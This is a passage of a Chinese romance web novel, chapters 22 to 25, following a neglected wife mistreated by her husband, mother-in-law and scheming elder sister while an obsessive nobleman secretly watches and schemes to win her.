“真不明白还是假的不明白?”沈老太太又问。 “孙儿自然是真的不明白。” 他装糊涂,沈老太太也不跟他绕弯子,“你若是早点头娶妻生子,我这病也就好了。” 沈景湛不说话,沈老太太又哼道,“你何时娶妻生子,到底要给个准话,总不能这样一直拖着吧?” 更气人的是,他又不阻止家里人为他相看,待选定了人又不露面,一来二去,沈老太太都没脸再翻京城贵女的名册请媒人去说,就怕别人编排沈家抬高架子戏弄人。 原以为这次沈景湛要将沉默进行到底,不料他罕见给了准话,“最迟来年春末。” 沈老太太还以为自己听错了,跟身边伺候的仆妇对视一眼,再看向他,眯眼询问,“果真?” “孙儿何时欺瞒过祖母?” “保不准的事情!”沈景湛虽然给了准话,沈老太太也担心他在糊弄人,万一是缓兵之计呢? “孙儿既然已经说了,自然不会欺瞒祖母。” “等等——”沈老太太察觉到不对,她重复着问,“来年春……”距离眼下也不过三四个月了。 时日一晃而过,尤其是将近年关。 他这么爽快给了话,莫不是……“你瞧上了哪家的姑娘?” 既然已经说了,那想必是瞧上了,沈老太太笃定。 沈景湛没说话,既不开口也就是不否认了。 “是哪家的姑娘?”沈老太太来了精神,连忙叫他坐下追问。 大有不把人.诈出来,就不善罢甘休的架势。 “天色晚了,祖母身子不好,应当早点休息,孙儿就不打扰了。” 沈夫人没有把人名给诈.出来,哪里肯善罢甘休。 她叫人拦下沈景湛,接连说了几个京城贵女的名字观察沈景湛的反应,可他神色自若,完全看不出端倪。 不得已之下,又想到前些时日二房沈嘉显过来跟她说的事情。 纵然不信,沈老太太还是脱口试探了一下,“不会真的是卫家那少夫人吧?” 沈景湛的脸色虽然没有什么大变化,可脚步微微一顿,沈老太太察觉到了,她倏尔之间,神色凝重,叫他站住。 不防对方竟然转了过来,似笑非笑问她,“祖母您胡说八道些什么呢?” 放眼整个侯府,也就沈景湛敢这么跟沈老太太说话了。 但此刻的沈老太太却顾不上计较,还是盯着他。 沈景湛也看了过来,他眉头微皱,是觉得可笑的弧度。 饶是如此,沈老太太还是问,“这么说,你跟那个小娘子没有什么关系了?” “祖母觉得,一个有夫之妇与您的孙儿有何关系?” 她避他不及,好似盈盈含羞的嫩.草,微微一触便躲,能有什么关联。 “既没有关系,先前在……”沈老太太把这件事情给搬了出来,说是质问也算解释。 “堂弟不用心倾听夫子教诲,整日里调三窝四,如今还管起我的闲事来了,真是欠管教。” 沈老太太想起那日沈嘉显说完之后,让她千万不能说出去的事情,这当时当下,着实没法子。 “你堂弟也是关心你。” “是吗。”沈景湛略微挑眉。 沈老太太还是补了一句道,“嘉显没什么坏心思,你可别找他麻烦。” 沈景湛只是笑了一下。 “不管你和卫家的有没有事情,跟朝廷官员女眷走得太近未免被人诟病,往日里还是要注意些。” 想说英雄难过美人关,可别被人算计,又觉得不太好听。 更主要的是,被自家长孙凝眸盯着,沈老太太讲不出来贬损祝吟鸾的话。 临时调转了话茬,“……别损了人家的名声。” 沈景湛答非所问,拱手作揖,“祖母既然没有任何不适,那便好好歇息吧,孙儿告退。” 沈老太太留不住人,只得点头让他出去了。 内院书房,烛火摇曳生姿。 俊美男子白衣黑发,他提笔专注做画,跃然于纸上栩栩如生的姑娘,正低头吃面,眼尾红红的。 最后一笔完成之后,他便收墨,搁笔。 男人的视线盯着纸上的姑娘,忍不住在想,若她真有别样的心机。怎么不想着顺竿往上爬爬,找他借种生子呢。 还是也同旁人一般,觉得与他没有丝毫可能?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 22、第22章 宣纸之上的墨汁未干,男人指腹忍不住缓缓滑过画中女子的面庞。 他的动作轻柔,因为太想靠近触碰她的面颊,不可避免碰到了未曾晾干的墨,污了画中人的脸蛋,弄脏了她。 没有可能吗?他偏要勉强又如何。 男人眼里滑过一丝阴戾,他很快垂眸遮掩而去,再也窥探不见分毫情绪。 这一张画着少女模样的宣纸被他卷了收在一旁的矮屉暗格里,这个地方隐蔽,拉开之时能够看到放了厚厚一沓同样画了画像的宣纸。 至于画中人,尽管衣裙样式不一,但还是完全能够看得出来归属一人。 “……” 卫如琢在三日之后归家。 他不是一个人来的,还有祝沉檀。 原本祝吟鸾以为就只有卫如琢,毕竟过来的只有一辆马车,可谁知道卫如琢下来之后,又吩咐人放矮凳,他还亲手撩开了幔帐。 见到自家长姐的脸,祝吟鸾真说不出来心里是何样的感受。 但很清楚,她的心里并不愉悦。 长姐为何会在这个关头跟着她的夫郎一道来了卫家,甚至……两人还同乘一辆马车,就这么不怕人看见,乱传些许流言蜚语,祸及卫家和祝家,以及骆家? 祝、卫两家和离的消息虽还没有彻底散出去,但骆暄迎了他的表妹及两人的孩子进门,祝沉檀又回了祝家,看见的人免不了窃窃私语,京城已经有不少风声了,至今观望着,想要知道究竟是怎么回事。 长姐回祝家可以,怎么能跟着卫如琢来卫家? 她和他之前本就是未婚夫妻,真的就不害怕别人说什么吗?还是两人根本就不在意,反而希望别人说呢? 思及此,祝吟鸾忍不住在宽袖里攥紧了手,指尖嵌入掌心,她却感受不到疼。 就算是心里不悦,祝吟鸾清楚,她不能表露出来,不说这里是卫家府门口会叫人知道了看笑话,就说她的婆母在看到她的长姐,收下对方拿过来的礼物之时的那块笑脸。 祝吟鸾清楚,她的悦与不悦,没有人在乎,也也没有丝毫分量。 卫如琢提醒她的长姐小心台阶不算,还无微不至帮她盯着,生怕她绊倒。 可到她这位正头妻子面前时,只是淡淡扫了她一眼,旋即跟庞氏请安,一句话都没跟她说。 祝吟鸾想到那日他问她怎么去了卫家,莫不是他还在生气计较? 祝沉檀跟着卫如琢后面朝庞氏请安后,亲热又可怜兮兮拉着祝吟鸾的手道, “吟鸾,我在家中待着实在太闷,又没处可去,你我姐妹情深,我想来与你作伴几日,你看在姐姐如今遇人不淑的份上,收留收留我一段时日可好?” 祝吟鸾还没有说话,庞氏已经替她回了,“说什么收留不收留的话,卫、祝两家一直有交情,这也是你的家,你想来就来,何须跟人交代?” “再者说家里冷清,你能来自然是好啊,既然是姐妹,又何必讲这些见外的话。” 祝沉檀咬唇,摆出很委屈的神色,“夫人的话令沉檀倍感亲切和喜悦,但我害怕吟鸾心里不高兴,毕竟我是不请自来的,吟鸾如今可是卫家的女主人。” 祝沉檀说完最后一句话,庞氏嗤笑了一下,似乎并不认同。 祝吟鸾的脸上露出些许难堪,却又被她给强压下去了,她没说话,真的是不知道应该说些什么,她的处境实在太尴尬了。 “妹妹你会吗?”祝沉檀又问她,“若你不想要姐姐来,只与我说一声,我即刻就回去,不叫你添一丝烦恼。” 庞氏和卫如琢的目光都落了过来,母子两人的神色都不好看,眼神就更不必说了。 祝吟鸾见状,忍不住在心中讽刺一笑,长姐是把她架到火上烤啊。 当着她的夫君还有婆母的面,她哪里敢说什么? “姐姐能来,我很高兴。”祝吟鸾不得不强颜欢笑,违心说出这句话。 “妹妹高兴就好,姐姐我也就宽心了,这些时日在家里我很是想念,想念你与我一道在闺中的时日,多畅快啊,只可惜都回不去了。” 惋惜闺中时日?只怕是口不对心,她惋惜的究竟是什么,恐怕只有她自己心里清楚了。 祝吟鸾敛下睫,好半天才慢吞吞道,“我也是……很思念长姐。” 祝沉檀看着她勉强的笑脸,心里只觉得痛快爽利。 家里的庶妹,从小就不如她,凭什么她和离了,她还能过得这么好?卫如琢这些时日可是晋升了啊,他去祝家之时,父亲门庭之下的人,谁不恭维哄着他?一口一个卫大人。 将来卫如琢往上接着升,说不定能够成为六部之一的尚书,若是运气再好一些,更有可能进入三省,这不仅有地位,还有殊荣啊,真真是在京城横着走了,不比骆暄好吗? 越是回想,祝沉檀越是后悔,她当初怎么就背弃卫如琢选了骆暄呢? 若非卫家败落,如今得享好日子的人就是她而非祝吟鸾了。 幸而,当初她主动与骆暄走得很近的事情,卫如琢并不清楚,只以为她是被骆暄看上,最终不得不屈服于骆家的求娶。 “别在这里站着说话了,我们进去吧。”庞氏招呼着祝沉檀进去。 祝吟鸾只是慢了一些,就被迫挤落到了后面,她看着她的婆母,夫君,站在她长姐的一左一右,亲亲热热说着话往卫家走,三人才更像是一家子。 而她……招人嫌得好多余。 的确是多余的,心里的自嘲越发放大,她真是不想回了。 进入正厅以后,庞氏听说卫如琢晋升的事情,实在是太高兴了。 “这加封的圣旨前两日就下来了?”庞氏还在问。 “是的夫人。”祝沉檀替卫如琢说话,“因为如琢在祝家,内官便去了祝家宣旨,来的可是圣上身边的人,您不知道,如琢有多给您争脸面,父亲都忍不住夸赞他,我们祝家手下的门僚更不必说了,连连祝贺呢。” 祝吟鸾听罢,她已经可以想象前两日的卫如琢有多风光了。 难怪父亲会让长姐跟着他回卫家,甚至都不避及礼节了,原来是看上了卫如琢,想要长姐和他走近关系吗? 父亲嫡母有这样的举措,是不是想要把长姐给嫁进来,想要把她给踢出去? 祝吟鸾忍不住在想……心里乱糟糟的。 若真是这样,她要何去何从? 不,不可能的。 她是卫如琢的正妻,就算是嫡母有这个意思,父亲也要顾着祝家的脸面。 祝吟鸾没说话,只看着卫如琢把圣旨拿出来给庞氏过目。 这是皇恩,庞氏要净了手才敢双手接过圣旨,细细查看。 她忍不住一字一句念了出来,亲眼见到卫如琢升入礼部,做了礼部司郎,捂着嘴巴哭了出来,一会说皇恩浩荡,一会又说卫家祖宗显灵了。 卫如琢安抚着她,祝沉檀也哄着她,说让她别哭,这是好事,还道,“父亲说了,他如今得圣上看重,若是有人能够在其中斡旋,礼部尚书之位,如琢有很大概率能坐。” “真、真的吗?”庞氏眼睛都睁大了,若是卫如琢能够得做尚书侍郎,那卫家真是挤入高门行列了,莫说她日后在京城官眷妇人当中扬眉吐气坐在前面。 指不定,她被远调的丈夫都能够归京,卫家的未来……! “儿啊,你真是给为娘争气,不枉为娘这些年一直帮着你,看着你……” “嗯,都是母亲的好处。”卫如琢也回话顺着庞氏的心意。 “只是……”他话锋一转,“礼部尚书之位不好争,礼部之下设有四司主,那三位都德高望重,尚书之位要靠人多推举,我只怕……” “怕什么,这不是还有我父亲吗!你是祝家女婿,我父亲一定会帮你的,吟鸾,你说是不是?” 祝沉檀忽然就点了默不作声的祝吟鸾。 众人看了过去。 一见她沉默寡言,半天闷不出个屁,也不知在神游什么,庞氏心里就急。 卫如琢也拧着眉头没说话。 祝吟鸾被人看得很烦,只能敷衍点了点头。 庞氏却打了她的脸,“祝大人真的愿意出力帮忙吗?” “夫人说的哪里话?”祝沉檀笑说,“小妹虽然只是家中庶女,可父亲还是疼她的,爱屋及乌,自然也会帮衬如琢,况且,再不济还有我母亲呢。” 是啊。庞氏看向祝沉檀。 忽而想起来,朱夫人母家门庭也是相当不错的,有朱家,祝家帮着,还不够吗? 庞氏一下就高兴起来,可高兴不到一会,她又想到了祝吟鸾的出身…… 朱夫人会帮吗? 若卫如琢娶的是祝沉檀该多好,看看这祝吟鸾半天闷不出声响来,庞氏强忍下不喜,免得破坏了兴致。 晚膳摆在花厅里,庞氏吩咐人做了很多饭菜,热热闹闹给卫如琢庆祝,还说明日要把他的小妹都给请回来,好生贺贺。 众人都很高兴,除了祝吟鸾。 她吃了药,脸色苍白,心里有事胃口不佳。 入夜里,安置了祝沉檀住的院子,回来之时,卫如琢已经沐浴净身去了浴房。 祝吟鸾看了看书房的光亮,她拖着酸累的身子去沐浴。 梳洗期间,明芽少不了在她耳边喋喋不休,替她数落祝沉檀出气。 “大小姐说那些话,表面上是帮您,背地里不还是在夸耀她自己,奴婢觉得她不安好心。” 祝吟鸾情绪不高,“……长姐说得不错,我帮不上卫如琢什么了。” 卫家的人嫌弃她,很正常。 她不得父亲和嫡母喜爱,生母也早早去了,即便母亲还早,也没什么强大的身家。 明芽给她擦着头发的时候,想到一件事情,忽而凑到她耳边,提议道, “小姐,您不如去求求沈世子帮忙?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 23、第23章 祝吟鸾一顿,起先还以为自己听错,她抬头看明芽,眼神浮着不解。 对方显然也意识到这个人的名字提得十分不合时宜。 明芽眼神躲闪,给她擦头发的动作慢了一些。 祝吟鸾还在看着明芽。 她忍不住在想,是不是她和沈景湛走得太近,现如今已经不合时宜了。 否则,明芽怎么会让她去求沈景湛帮忙? 祝吟鸾一时之间没说话,明芽被她看得打鼓,换了一张帕子给她擦头发,与此同时又解释道,“奴婢之所以这样说,是因为沈世子是一个很好的人,说不定会帮小姐呢?” “您如今在卫家的日子越发难过了,若是能够让沈世子帮衬一把,您也能够宽泛一些。” 祝吟鸾自嘲一笑,“我与他素昧平生,不过偶然相遇几次,为何要去求他,何况若真的到了那一步,他又怎么可能会帮我呢?” “为何不会帮您?”明芽却不赞同,“奴婢觉得沈世子……” 祝吟鸾又抬眼定定看着她了。 明芽跟她许多年,自然知道她在担忧顾虑些什么,连忙解释她并非误会两人之间,而是,“奴婢觉得沈世子是个好人,他见小姐困苦,说不定……” “我并不困苦。”祝吟鸾摇头,她不赞同明芽的说法。 她衣食无忧,只是婆母夫君不喜而已,哪里就困苦潦倒了? 明芽还要继续解释,祝吟鸾却叫她别说了。 “沈世子不会帮我的,这是有关于朝廷用人的头等大事,他怎么可能会偏……” 偏私? 后面的私字在心里冒出来的时候,祝吟鸾心里一咯噔。 私什么?私情吗? 思及此,她猛然回神,日后见到沈景湛,还是要绕着走,可别再碰到了,现如今明芽都这样想,若是被别人知道了,保不齐会出什么事情。 届时累了两人的名声,那可真是跳入长河都洗不清了。 “总之,以后不要提到这件事情。” “是……”见她脸色不好,明芽讪讪住口,不敢再接着往下说了。 祝吟鸾想了想,还是去问了问今日卫如琢要歇在什么地方? 他看了她一眼,没直接回答,而是道,“你先睡吧。” 既如此,祝吟鸾便只能去歇了。 躺下许久都没有睡意,她觉得心里很空,根本无心歇息,可又不得不闭目养神。 祝吟鸾很清楚,她的长姐这一趟来卫家,绝对是来之不善。 之前她还想着,待方种月生了孩子,好生抚养,就这么过下去就是了。 可谁知道骆家出了变故,长姐竟然和离了,和离就算了,甚至还来了卫家,祝吟鸾回想到今日的场景,只恐怕日后…… 只是不知道,这是长姐的意思,还是父亲嫡母,亦或者卫如琢的意思。 总之,她忐忑又迷茫,不知道应当接下来要做些什么为好。 若是长姐要进卫家门,她该如何? 长姐心高气傲,会进入卫家做小房吗? 祝吟鸾乱七八糟想着,忽而听到脚步声,竟然是卫如琢走过来了。 他居然没有去东院找方种月,反而来找她歇息? 若是一会卫如琢要与她同房? 祝吟鸾发现,在如此紧急,被她长姐逼急的情况之下,她还是不想跟卫如琢同房。 眼下她只有一条路可以走,那就是尽快拥有一个属于自己的孩子,不论是男是女,总归在卫家是站稳脚跟了。 可……用孩子来稳固地位? 卫如琢不喜欢她,难道就会喜欢她生的孩子吗? 被人贬损忽视的时日,她从小过够了,不希望自己的孩子也步入后尘。 但更重要的是,她就是不想跟卫如琢同房了,从他收用方种月的时候起… 她竟然做不到大度。 卫如琢躺下来之后,祝吟鸾紧张了不少。 她已经下定决心,若是他要跟她行房事,那便推脱身子不舒坦,终归这些时日也一直在吃姣惠给的药,脸色不好,他也看出来了。 可是,等了好一会,她都已经感受到了卫如琢的目光,却没有察觉到他下一步,要与她同房的动作。 卫如琢并不想与她同房吧? 既然不想与她同房,为何歇在这里,莫不是担心去找了方种月,被今日上门的长姐发现,从而不约吗? 祝吟鸾忍不住在心里想着,这究竟是怎么回事。 可她哪里知道,她在等着卫如琢开口的同时,卫如琢也在等着她开口。 近来他得以升迁,所有人都夸他了,唯独祝吟鸾没有。 不对,有是有,但也就是那么寥寥几句。 着实算不上什么。 见她今日脸色不好,卫如琢猜测着她是因为祝沉檀上门的事情而烦恼。 也想要知道,夜深人静,只有两人独处,祝吟鸾会不会跟他说些什么话? 他猜测很有可能是奉承讨好的话,哄着他这位夫君,升迁之后万万不能忘了她。 卫如琢发现,就算是讨好的话,他近来听了许许多多遍,竟还是很期待祝吟鸾跟他说的。 若是她再用些什么小手段,就像是方种月派人来请他去东院歇息那般…… 思及此,卫如琢发现自己竟然有些许兴奋了。 他竟然不厌恶祝吟鸾对他谄媚讨好?反而隐隐期待? 他已经许久没有跟祝沉檀同房了,想到她方才来书房告知他,时辰已经不早了,应当早点歇息的时候离开的背影。 月白亵衣之下,她垂至腰间的青丝微微晃动着。 走动之时,能够看到她被步履随风勾勒出的纤细腰身,盈盈不足一握,只怕一只手都可以掐得过来,令他想起祝吟鸾腰身细腻无比的触感,以及她绽放的样子。 可他等了许久,旁边的人都还没有什么动静。 一句话也没有。 她分明还没歇息。 被晾了许久的卫如琢实在是忍不住了,直接问她,“你就没有什么要跟我说的?” 他说这话的时候,声音散发着浓浓的不悦。 也是想要通过这个让祝吟鸾知道,他心绪不好,她若是识趣一些,也应该来哄他,讨好他了。 可祝吟鸾没有。 她反问,“夫君说什么?”软绵绵的嗓音里透着浓浓的不解。 这一瞬间,卫如琢的期待和兴致被她的憨傻浇没了,转而只有怒火在燃烧。 他一瞬间回神,自己究竟在期待什么? 祝吟鸾就是一个木头美人,她怯懦呆板,懂什么知情意趣吗? 跟她行房也没什么兴致,她玩弄不起旁的,总躲缩着,叫他自己都疼痛,所以……他还在想什么? 真是疯了。 “没什么!”卫如琢甩了这么一句话,径直背过身去。 没一会,实在是不想跟她待在同一个床围之内,起身离开了。 明芽急匆匆跑进来,问祝吟鸾怎么了? 她起身坐着,看着卫如琢离开的方向摇头,“没什么。” 适才她好害怕,还以为是卫如琢知道了沈景湛跟她见面,又送她龙涎香以及糕点的事情,没想到不是…… 若真的是,卫如琢定然不会拂袖而去,而是张口就训斥她安分守己,少出去抛头露面,更不要想着跟那等天之骄子有什么关系,恪守她的本分,别坏了卫家的名声。 既然卫如琢没有说,那就意味着不是这件事情,同床共枕几年,她对卫如琢还是有几分了解的。 既然不是这件事情,祝吟鸾也想不到是什么了。 “小姐,要不要奴婢去把姑爷给请回来?” 祝吟鸾摇头,“不必了。”她躺下背过身去,缩成小小一团,看起来整个人十分的娇小,又楚楚可怜。 卫如琢拂袖而去了东院。 方种月喜不自胜迎接了他,哄着他。 虽然不是卫如琢想要的祝吟鸾的哄,但不得不说,阿谀奉承的话听多了,不管是出自谁的口中,他还是很愉悦的。 他当夜里与方种月便行了事情。 深夜里,卫如琢歇息以后,有只小巧的飞鸟停留在窗桕边沿。 方种月听到动静,瞬间睁开眼睛起身去饮茶,她端着茶盏走到窗桕边沿,往飞鸟的脚上绑了一个早就准备好的东西,随后将它放飞。 这鸟在京城盘旋了几个道之后,落在了沈家的内院。 随从取下之后看了,进去给沈景湛传信。 男人听罢忍不住泛起冷笑,“看来,卫如琢比我想象当中的还要爱慕虚荣。” 和离?只怕都用不了春末了吧。 “他贪恋权势,您又算无遗漏,自然不会出差错。” 沈景湛淡声,“盯紧一些。” “是……” 祝吟鸾昨日夜里跟卫如琢闹了不愉悦,消息很快就传入了庞氏的耳朵里。 祝沉檀一大早来给庞氏请安,自然也听到了。 她道,“这其中是不是有什么误会?莫不是因为沉檀来了卫家……” 庞氏现在看祝沉檀很顺眼,拍着她的手,“不关你的事情,无非是祝吟鸾不会伺候人罢了。” “一会叫她过来。”庞氏吩咐云妈妈。 早膳还没到,庞氏叫了祝吟鸾到跟前,狠狠训斥她。 “你到底会不会伺候人啊?”庞氏问。 “琢哥儿整日里辛苦走外任,跑前跑后,你连哄他宽慰都不会吗?” 祝吟鸾道,“儿媳不知错在什么地方。” “不知道?” 庞氏呵呵一声,居高临下睥着她,“我看你这卫少夫人是不配做下去了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 24、第24章 尽管在心里已经做过了准备,有可能会发生这样的事情,可真的听到庞氏这么说,祝吟鸾的心却还是忍不住在一瞬间倏而提了起来。 她觉得很委屈,也明明知道不应该在这个关口展露出自己的任何情绪,毕竟还有外人在这里。 可难以掩饰之下,她控制不住自己抬头看向了庞氏。 她的婆母,庞氏这句话看起来不像是说笑,她的神色是那么的趾高气昂,那么的居高临下。 就因为昨日卫如琢莫名其妙的情绪,他起身拂袖而去,所以庞氏不分青红皂白,赶早把她给叫过来,没有问清楚任何的缘由,就把所有的错全都归咎到她的身上。 当着长姐的面训斥她不说,还要威胁说要将她扫地出门? 她真的忍不住不委屈,宽袖之下的手攥紧了拳头,指骨酸涩浮上鼻头之后,与之而来的还有愤怒。 她嫁入卫家几年了,帮着卫家做了那么多的事情,庞氏不清楚吗?当初为佳 可真的要辩解,祝吟鸾又不知道应该说些什么。 祝沉檀听到这句话,看到祝吟鸾被吓得苍白的脸色,整个人的心里是愉悦的。 面上却佯装哄着庞氏,“夫人不要生气,小妹年岁要小一些,经事也比较少,她在闺中之时,因为身子骨不好,甚少出门,人情之上难免欠缺,您就宽慰宽慰她吧。” 祝吟鸾忍不住在心里讽刺一笑,跟在庞氏身后的云妈妈也忍不住皱眉。 祝沉檀这句话看似为她说话,实际上已经帮她认了庞氏给她冠的莫须有的罪名,甚至变相跟庞氏陈述她的不好。 当真是白费苦心了。 祝吟鸾也不知说什么,真要解释了,庞氏也不会听的,她正打算垂下头,可庞氏不依不饶,“瞧瞧,你果真一句话也没有?” 她强行忍下心中的疲倦,“都是儿媳不好。” 她很清楚庞氏要听的不是解释,她只是想出气,任由她训骂就是了,先将认错的态度摆出来。 要是辩解,庞氏抓住她的小辫子,说不定会怎么训斥。 “瞧着你也是不中用了……” 只是祝吟鸾没想到,庞氏这次气很大,比先前几次都还要大,或许是因为卫如琢升官,她的底气越来越足了,不再有任何忌惮。 足足半个时辰了,庞氏才勉强停下来。 就连早膳都没有让她吃,让她去面壁思过。 云妈妈不得不冒上劝道,“少夫人近来身子不好,若是饿坏了,可怎么是好?况且少夫人和大公子之间,只怕是……” “万一有什么误会呢?” “饿一两顿能怎么着?”庞氏铁了心,“就是要让她好好清醒清醒,帮不上琢哥儿什么,也不要拖他的后腿!” 云妈妈还要再说,却被一意孤行的庞氏抬手打断。 祝吟鸾朝云妈妈递了一个感激的眼神,让云妈妈不必再说了。 她顺从起身离开。 卫家的后院有个小佛堂,是之前庞氏初一十五会来求神念经的地方。 地方很小,位置偏着,有些许阴凉。 祝吟鸾一个人慢吞吞走着,旁边的明芽却已经忍不住哭了起来。 听到抽泣的声音,祝吟鸾看过去,问她怎么哭了? “奴婢觉得小姐的日子难过,一时忍不住。” “现如今姑爷只是升了官,虽然不错,却也没有到天大掌权的地步,您如今就这般难熬,日后可怎么办啊?” 没有给祝吟鸾撑腰,她只能任打任骂。 “大小姐步步紧逼,您没有别的法子吗?”明芽想要她谋求出路。 祝吟鸾没有说话,她垂头走着。 很快就到了小佛堂,明芽去点上烛火,祝吟鸾烧了一炷香,跪在旁边礼佛,她闭上眼睛,尽力压制着内心的委屈和怒意。 明芽说得对,长姐从中作梗,她娘家没人照拂,庞氏不喜,夫君不悦,日后……她必要做好最坏的打算才是。 思及此,祝吟鸾睁开眼看向低眉慈和的菩萨。 “……” 祝吟鸾在佛堂面壁了一整日,什么也没吃,双膝跪得青紫。 明芽和姣惠搀扶着她回去。 明芽这小丫鬟眼泪软,哭得厉害,姣惠面色也很凝重。 今日卫如琢没有回来,升官以后越发忙了,他要应付外面的事情。 祝沉檀让人给她送了药膏来,除此之外,祝吟鸾没有想到,方种月竟然也亲自给她拿了药。 这药竟然还特别的好,她说是侯府沈家的药,先前她母亲身子骨不好,沈家老夫人体恤她做事认真,人又上了年纪,特地赏赐的,还说是宫里的东西,效果很好,请她务必用了。 祝吟鸾看着方种月的脸,“这东西既然这么好,你为何要给我?” 长姐送的药膏都没有她给的好。 方种月道,“少夫人先前待奴婢不错,奴婢也想报答您。” 闻言,祝吟鸾笑了一下,暂时没说话。 方种月摸不准她的心思,看着她安静的样子,想到那人的交代,又劝了两句…… 看着祝吟鸾红肿青紫的膝盖骨,索性上前去帮她亲自上药了。 她福身行了一礼,打开药膏,很是恭敬半跪到祝吟鸾面前。 明芽却挡在祝吟鸾前面,“你做什么?!” “我们家小姐岂是你能靠近的!” “种月只是想要帮少夫人的忙。” 明芽护犊子说,“东西放在这里不就行了,做什么突然靠近?” 祝吟鸾在明芽后面观察着方种月,没看出她脸上的算计,她轻叹一声,吩咐明芽不要无礼。 “小姐,防人之心不可无,谁知道她这么殷勤究竟是要做什么啊?” 姣惠虽然也拦了,可是她没有吭声,阻拦的劲头也没有往日那么厉害。 祝吟鸾心不在焉,没注意到这些细节。 她问方种月,有话不妨直说,“我虽然占着正头少夫人的位置,但你也清楚,我在家中已经渐渐不得势力了,讨好我没什么用,甚至还有可能会得罪婆母。” 言外之意,她还是不相信方种月是为了报答她往日里照拂的恩情,来给她送这么好的药。 “你先前说家中艰难,既然有这么名贵的药,为何不卖了换些钱?”宫里出来的药膏,放去医馆估价,只怕十几两都可以谈。 方种月犹豫片刻,开口,“少夫人既然都说到了这里,那奴婢也不隐瞒了。” “您为人宽厚,您的长姐却……容不下人。” “若是您的长姐进门,那奴婢只怕没有容身之处,所以奴婢想要帮您,当然了,也是帮奴婢自己。” “这盒药膏便是奴婢的诚意。” 大人说得对,她的警惕很高。 过了一会,祝吟鸾似乎相信了,她让明芽让开。 方种月上前给她擦药,期间祝吟鸾一直观察她。 感受到她的视线,方种月又主动跟祝吟鸾说了,昨日卫如琢去找她时都讲了些什么话。 祝吟鸾听了之后,只是嗯一声,兴致不怎么高。 方种月走后,云妈妈给她送了一些吃的过来,还说是庞氏的意思。 打一巴掌给一颗糖。 祝吟鸾心里没什么起伏,面上却装得很好,不辜负云妈妈的良苦用心,顺着“台阶”就下了。 “多谢婆母的好意,今日面壁思过,吟鸾也知道了自己的错处,日后定然引以为戒,好生伺候夫君,孝顺婆母。” “好。”云妈妈让她好生歇息,还给她送了药。 回去之后,云妈妈添油加醋帮着祝吟鸾给庞氏说了好些话。 庞氏心里顺畅了一些,“嗯,算她识趣。” “少夫人一向很会看人脸色,顺从您的心意。”云妈妈夸着祝吟鸾的好。 庞氏撇撇嘴,“这些好有什么用?能生出孩子能帮上琢哥儿提选尚书之位吗?” 云妈妈又适时道,“少夫人好歹是祝大人的女儿,定然是会帮大公子晋选的。” “一个庶女而已,这些年祝家帮衬,都是看在祝沉檀的面上,又顾及着两家以前的交情,关她什么事?” “祝家大小姐和骆家的事情迟早瞒不住,若是再跟咱们公子有什么,岂不是开罪骆家?何况她又许过人了,您就不嫌弃祝家大姑娘吗?” “琢哥儿现在的官位可比骆暄高!” 说到后面那句话,庞氏却道,“你懂什么?正因为她许过人难以再嫁,进了咱们卫家门,名声或许难听一些,可祝家一定会念及我们卫家大度,卯足劲帮着琢哥儿。” 庞氏的算盘打得噼啪响,云妈妈也不好多说些什么了,讪然闭上了嘴巴。 祝吟鸾躺下之前,明芽跟她说,方种月的话不可信,姣惠却觉得可以相信,两个小丫鬟吵来吵去。 听着她们的吵闹声,祝吟鸾浅浅睡了过去。 她做梦了。 梦到那个男人,他与她亲密,吻着她,哄着她,让她别哭,说都是他的错。 低沉温柔的声音萦绕在耳畔,她竟然觉得有些许熟悉,可又无法准确分辨他到底是谁。 真的是梦吗? 祝吟鸾第一次生出这样的念头,她竟不希望是梦,也想要知道梦里的男人究竟是谁? 可她始终不得而知,因为夜里起风刮雨,动静太大了,她随之转醒。 听着外面的雨幕,她在想,自己为何会有这样的念头? 莫不是,她因为卫家日子难熬,生出了想要越轨的念头吗……【你现在阅读的是 】 25、第25章 听着如注的暴雨,祝吟鸾一丝睡意都没有了。 她回想到那个荒谬的断断续续的梦,想到这些时日卫如琢,庞氏,长姐...家中亲眷对她的态度,继而又想到很多过去的事情。 一桩桩一件件从脑海当中闪现而过,好像她一直都是孤单的,没有人在意,迷迷糊糊就嫁了过来。 好不容易铆足了劲,过了这么多年,看着卫家渐渐好转,她以为自己的日子也会随之好转,她总算能够立足了。 可到头来还是轻飘飘的,摇摇欲坠在风中,她似乎还是一如既往的,什么都没有。 祝吟鸾上一辈子一定做了很多无法饶恕的错事,否则怎么会没有人爱她呢? 究竟是为什么? 闭眼之时,实在忍不住掉了眼泪,她伸手擦掉,可这雨水落得太厉害了,她的眼泪也趁势而下,如同决堤的洪流,越擦越多。 害怕被人发现,她钻到被褥当中将整个人给埋藏起来,唇咬着手背,借着雨声遮掩,小声抽泣起来。 翌日,祝吟鸾的眼睛很肿。 一看便知道昨日哭过。 明芽看到以后实在是忍不住了,想要安慰她几句,可姣惠却将她给拦了下来,“小姐既然不想提,我们还是不要追着问了,以免小姐心里难受。” “...好。”明芽忍住哭腔,只能装作若无其事。 虽然脂粉能够遮住大部分憔悴,可祝吟鸾的神色看起来还是不太好,早膳也没有用多少。 她过去给庞氏请安之时,老远就在停雨阁的门口听到了祝沉檀和庞氏的笑声。 也不知道祝沉檀跟庞氏说了些什么,总之庞氏很高兴,祝吟鸾进去的时候,庞氏笑得几乎都要合不拢嘴了。 见到她之后,神色又恢复了高高在上。 祝吟鸾从她自己的小私房里面拿了一个少有的珍贵的物件给庞氏赔礼,又说了一些好听的话,就说她已经知道错了。 庞氏端着茶盏品着,等祝吟鸾说完了好一会,她方才正视了她一眼,那眼神就像是在看小猫小狗,毫无尊重可言。 祝吟鸾感受到了,可她的心里已经有些麻木,并没有露出任何的情绪。 她的乖顺总算是令庞氏勉强满意。 赏赐似地嗯了一声,让祝吟鸾起来吧。 祝沉檀上前,像个没事人般笑着说,“妹妹快快坐下,适才我与夫人正提到过些时日家里请客吃饭的事情呢。” 家里?也不知道是谁的家里。 祝吟鸾感觉自己的脸上戴上了一个面具,她心如死灰,可面上却笑得谦卑温和,“什么请客吃饭?” “妹妹怎么糊涂了?如琢升官,自然要请卫家的亲戚族老上门吃饭啊,这样别人才不会在背地里嚼弄舌根说目中无人。” 祝吟鸾岂会不明白,但她嘴上却道,“姐姐教训得是,都怪我不好,竟然忘了,多谢长姐指点,我一定会好生学的。” 庞氏都惊讶于她的周全,可转念一下,这也的确是祝吟鸾该摆出来的姿态。 